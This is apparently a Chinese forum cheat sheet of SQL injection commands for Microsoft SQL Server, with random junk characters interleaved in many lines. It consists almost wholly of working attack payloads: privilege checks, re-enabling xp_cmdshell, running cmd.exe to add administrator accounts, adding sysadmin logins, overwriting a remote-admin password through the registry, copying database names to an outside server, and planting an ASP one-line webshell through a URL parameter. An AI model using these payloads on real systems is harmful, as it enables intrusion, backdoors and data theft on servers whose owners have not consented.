阿D常用的一些注入命令
: W8 ?* R3 Z+ @4 z$ w+ v( i//看看是什么权限的
1 y3 r: P u( C& y3 h7 k) }and 1=(Select IS_MEMBER('db_owner'))
) L6 o4 C& K* }. bAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
* O8 a9 J; {6 p$ \& J( O" M7 F/ g @2 U
//检测是否有读取某数据库的权限
1 N1 v8 c3 ~3 P; f" x( V6 t1 zand 1= (Select HAS_DBACCESS('master'))3 Z( s, P: ^! x4 z' B) `% D) p1 @! v
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --. U1 f: U$ C+ t1 g4 K2 X) g
0 r# Y k! T. y, N0 W
$ H- ?' Q0 p" [0 W# W5 L数字类型5 f2 C# y+ W. b8 T/ T* r. s* H; g
and char(124)%2Buser%2Bchar(124)=0$ t" i8 |& ~; G
" Y3 ~6 `8 X, ?+ o1 A( `4 V字符类型* u5 S( Z& n9 B5 [- U |9 Q
' and char(124)%2Buser%2Bchar(124)=0 and ''='
! s! P# y% M, A3 E8 e+ v# u3 }6 x; c, D
搜索类型9 O" ^7 ~0 v b6 W( p4 x/ D
' and char(124)%2Buser%2Bchar(124)=0 and '%'='8 l" _, F: D0 _( h* @
. ~# W' G' [" q A" b$ h
爆用户名
2 ]$ j" S. W: f! s% I! m2 ]and user>0; R5 v' a: e1 j/ [2 `7 Q1 l
' and user>0 and ''='4 j2 b# }$ d! ~: R# r
3 K9 v; e) f$ X7 {# q. Z9 s检测是否为SA权限
" O- o+ r( A% Y: qand 1=(select IS_SRVROLEMEMBER('sysadmin'));--5 z5 M$ m, `+ D; F6 C4 t z1 Z
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
3 k1 I- [* d, c8 h: U5 C& W2 F$ q' O" q5 l5 b! S' @. E
检测是不是MSSQL数据库
: k5 Z# q$ b* m. \' z' i( m: z8 Dand exists (select * from sysobjects);-- 9 r$ P$ B Z' L$ A9 U" T
% ]$ i. O, B- N4 j' F5 t, Z
检测是否支持多行
, f# R) z% b& Z3 W0 E! x4 P" |;declare @d int;-- 7 P$ @! H- v# d l
8 N- p7 W, `0 z
恢复 xp_cmdshell
. j6 w0 }- `( X' X+ t4 S' w! _8 _;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
9 B; V$ j: G+ _% a3 V
, X( i4 K& o' V) @/ f
& Z6 ]: M3 T3 e: |) K( `9 kselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') - U* m, T1 T- v' V4 |
9 Q9 e5 ?) T" I- G: h//-----------------------
% C- L, X- q4 i0 }& p// 执行命令
$ f& O! O9 u" \; Z1 u& u; A" H: _+ t//-----------------------
+ T" B% E2 } N首先开启沙盘模式:( L9 ?9 s y% o; Y
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1" m# b0 d& ]- V$ U
% s' X$ L( [* D! Y7 [3 {' ~
然后利用jet.oledb执行系统命令3 M5 _: K( o# b1 f/ K
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
+ H; \6 @2 G* p) ?
, C9 C1 w& R6 U1 ?. e4 A6 D% l执行命令
_5 O! `- |6 j# \2 a, x;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
9 n9 `* E9 U4 t+ O0 i+ J# O+ a2 t# y, J, |0 z
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
$ G; X% c/ x6 f4 S* i" S; t2 G% o8 `! T* `5 O: B4 q8 F) c
判断xp_cmdshell扩展存储过程是否存在:, [5 W, o/ |+ C; K. m" u3 w1 P
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')0 ^: S3 G; t& y2 P) j
3 u( c4 m! E/ [: \. x
写注册表
6 W: A5 ]4 T0 Q7 y2 E% J, ~exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1# A- }+ V! I+ ?5 Q/ D* [1 j4 W
7 H5 g0 K! B# ]* q( h9 p5 F3 T
REG_SZ$ v7 ^" Q3 C0 ?. Q
9 A7 _8 P7 G( g读注册表
; I$ ?3 A" _( B2 }exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
9 b5 | W7 _4 B- ]; j0 @3 d8 E4 U3 \+ W$ k; O8 U f) a0 v
读取目录内容0 y0 u4 H; L `- |8 l
exec master..xp_dirtree 'c:\winnt\system32\',1,1
- m5 h: c* u) U: p1 n( ]; l! o& e( Z, f, G
, {. z b3 h% f3 j9 A( {9 T% x
数据库备份
; ]7 p/ a4 N" l( vbackup database pubs to disk = 'c:\123.bak'
, j% q6 ]9 h! w" u
+ @: P% v% \6 _. k//爆出长度
3 q6 V+ x& s1 C* @+ `! ^3 GAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--: ~/ P8 T" o5 `+ b& |* F4 l* F1 t
: g: }4 W& {- g1 q# i1 ?$ k
' A0 t$ b( m. x
9 O2 F7 _ }7 K' ~7 S, v( \更改sa口令方法:用sql综合利用工具连接后,执行命令:
; Z' ^! c( X: o/ R! ^: `8 I4 p' yexec sp_password NULL,'新密码','sa', g. Q. W( c% j, R6 }4 }: B; k8 d" Q
s6 l: m2 H/ x' E: L/ V
添加和删除一个SA权限的用户test:8 G% z4 h" {9 T5 n3 b/ d; q
exec master.dbo.sp_addlogin test,ptlove
* p1 I% y$ i9 T2 c6 K3 ^8 Uexec master.dbo.sp_addsrvrolemember test,sysadmin
, T6 s2 J3 T3 l5 A6 G4 V' J2 b
3 q5 H, ?, n7 x0 Y9 |删除扩展存储过过程xp_cmdshell的语句:
; q! y' L' B0 Q! u% _" [8 E& xexec sp_dropextendedproc 'xp_cmdshell'
0 p$ U3 i( i) S/ v/ V' p
1 p! J6 x0 h$ d& A8 w添加扩展存储过过程
" t: V' `( S' g. G' d' k2 qEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
& ~* e& X6 N0 x& @0 g) zGRANT exec On xp_proxiedadata TO public - c9 @! L+ {- Y: r ]- p
* @- G! F6 q) @ ?) E3 Y& R6 q% b7 h5 o4 R& t
停掉或激活某个服务。
, e4 W( q* K U* m- r
$ P# u% v) Y {) h& }7 J5 `/ Qexec master..xp_servicecontrol 'stop','schedule'
' ]& {0 \! j( t7 I4 @1 zexec master..xp_servicecontrol 'start','schedule'
' N( T. x/ H: B$ Y n3 y* E& `; M N+ C' E p- I
dbo.xp_subdirs
3 f2 B" Y2 L3 n9 T o; q* q/ w) I& J, p6 E$ _
只列某个目录下的子目录。
3 C0 `( @0 d' y0 O# o. p- x6 nxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
# q- q. A9 H) J, N B
0 h0 v- J6 z: S6 |) \: n0 \ cdbo.xp_makecab$ j9 V/ k1 t. l+ z u& ?& C1 R3 ?
9 I/ Z% F) [) a, N) X6 B将目标多个档案压缩到某个目标档案之内。6 U* E% h3 Y2 [& f& Z8 i+ N9 h
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
4 L: l8 \2 X' I. P# t- d! Z% q' A! Z' g9 [& E/ t7 s" B7 q5 w
dbo.xp_makecab' Q3 T- N6 h& j8 G" i3 O
'c:\test.cab','mszip',1,
l, S4 S' B. d- W3 H) N4 o'C:\Inetpub\wwwroot\SQLInject\login.asp',
) U1 _2 l3 H$ T# H5 p'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
! A8 |: i# K& P# X* H- e
; V5 [6 B2 `+ u5 n' jxp_terminate_process
8 u6 J* \0 U. k& I- n' j; L2 O. f1 S( P8 @! O+ w
停掉某个执行中的程序,但赋予的参数是 Process ID。' X; k! A8 Y" l" f
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
: P% w1 R7 n7 b. j6 p
0 M r% r( Q( d. Yxp_terminate_process 2484
0 ^. `6 A @% b# d- g- j
! O% F: G3 k& @" T6 \; z7 \- |% g3 F5 Fxp_unpackcab
" b4 w& {, {% ~) W, c" J. H; o( p8 S y s6 ]8 z
解开压缩档。& \. Z0 u" {; u1 d1 [' ?
; s" e- G6 u, X* ?. g1 Wxp_unpackcab 'c:\test.cab','c:\temp',1" ?) }* ~( L( R! S
& D7 N7 F+ e- A
9 q( c" C7 L7 c7 M/ K
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234) O4 p( s* s% \$ ?
. A. E- m8 G( ~& `create database lcx;
( J3 I; {/ y, q0 u4 }' ?Create TABLE ku(name nvarchar(256) null);
- g8 g% Y, l! W% B oCreate TABLE biao(id int NULL,name nvarchar(256) null);
* a4 g0 c, E! S3 k" Y/ @: i& m
5 U J$ i9 Y8 ]* k" j//得到数据库名$ z" u' d8 A, a9 d' D: l
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases. P) L; ?' \ z! w6 K! J* P9 H; @; `
2 ^% L$ ?! i V$ ~. s
3 S7 n& U9 {- I( O: O//在Master中创建表,看看权限怎样, D R: X& H- @; ~$ ~* U9 E& m
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
' m: D, z3 \6 d6 g7 W* I! E
/ ~2 b- \% _4 U+ S/ g9 ~! c用 sp_makewebtask直接在web目录里写入一句话马:, R& D" r- {1 x" G2 ~- i
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--: `5 j! N$ B5 n% C. z
1 f; f1 e0 `7 S+ x6 x' h' X7 v
//更新表内容
2 B. ~) R Y/ aUpdate films SET kind = 'Dramatic' Where id = 123! z7 ^; t% X4 x, B
1 V$ g- E3 W+ q6 @# P+ C
//删除内容' U1 r9 C/ e! D) s
delete from table_name where Stockid = 3 |